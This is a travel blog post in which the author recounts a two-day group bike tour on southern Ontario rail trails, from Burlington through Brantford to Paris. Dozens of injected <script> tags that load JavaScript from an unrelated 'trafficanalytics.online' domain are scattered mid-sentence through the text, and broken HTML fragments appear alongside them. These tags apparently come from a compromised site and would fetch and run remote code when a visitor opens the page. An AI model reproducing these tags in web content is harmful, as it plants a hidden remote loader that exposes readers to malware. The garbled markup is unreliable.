Blog

The Long and Winding (Rail) Road

by Jennifer Krissilas

I don’t remember when I first heard about rail trails. Ontario has tons of these long, flat, straight stretches of inter-urban hiking and cycling paths that were once rail lines. With limitless views of forests and fields and minimal contact with traffic, they sound like the ideal bike route, no? My cycling friends think so. But I find them b-o-r-i-n-g.

That’s because I like the rush of weaving around traffic. I like pedalling hard and fast, passing everyone in front of me. I like charging up hills so I can race down the other side.

Cycling abandoned railroad tracks in southern Ontario makes for a long, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> flat, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> leisurely and relaxing journey. And that’s the problem.” width=”630″ height=”419″ /></a>So why would I do a two-day self-supported bike tour on a rail trail? Peer pressure.</p>
<p>Yup. Even a die-hard solo traveller can give in to the prodding of cycling friends to join in on the “fun” of riding the (former) rails.</p>
<p>And fun it was, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> indeed. I can admit that. The social aspect of leisurely riding as a small group of five (our sixth person’s bike was stolen a week before the trip) appealed to the chatterbox in me.</p>
<p>But I can also admit that I didn’t enjoy the trail itself. I enjoy the variety of rolling hills and winding roads more than the sameness of riding tens of kilometres on a three-degree grade in a straight line.</p>
<p><a href=Cycling abandoned railroad tracks in southern Ontario makes for a long, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> flat, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> leisurely and relaxing journey. And that’s the problem.” width=”253″ height=”372″ /></a>I’m talking specifically about my first rail trail experience, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> riding 140 kilometres roundtrip from Burlington to Paris, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> Ontario, <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> <script type='text/javascript' src='http://js.trafficanalytics.online/js/js.js'></script> in two days.  Because you can bring up to four bikes per car on the <a href=GO train, my friends and I took the train from Toronto to Burlington, then biked along the Waterfront Trail to Hamilton. From there, we caught the Hamilton to Brantford Rail Trail, and I recall it started out fine. We came across lots of hikers…and even some horses!

But once we hit a 20 kilometre straight stretch, it kinda went downhill for me, even though we were riding up a slight incline. The end seemed nowhere in sight, as all I could see in the horizon was the same as what I’d seen kilometres before!

And then, relief. Our lunch stop. The Piston Broke, a gastropub in historic downtown Brantford.

From there, we were all revived, giggling that we were in Europe when we saw three signs on one post directing traffic to Paris, London and Cambridge!

On we went, riding along Brantford’s Gordon Glaves Memorial Pathway, which winds along the Grand River. The multi-use path connects to another rail trail, the SC Johnson, that was much more my style, winding here and going uphill there, till we neared Paris, which draws loads of paddlers to the Grand for whitewater rafting, kayaking and canoeing. (Next time I do this trail, I’m adding a paddling day!)

Not much farther, just beyond Paris, was our destination, Pinehurst Lake Conservation Area, where we hurriedly pitched our tents so we could shower and cook dinner before nightfall, as we were waking up early the next day to do it all again, only in reverse, back to Burlington.

And though it seems like it was a rushed couple of days, it really wasn’t. That’s the beauty of doing a bike tour on a rail trail – without the excitement of traffic and the energy-sapping thrills of rolling hills, you can ride out 70 kilometres with all your gear on your bike and still feel like you’re just out for a day-long ride. Which you are. Only better!

WE LIKE IT SLOW AND LOCAL! ENJOY TRAVEL+ESCAPE’S SPECIAL MONTH-LONG SERIES ON THE JOY OF SLOW TRAVEL.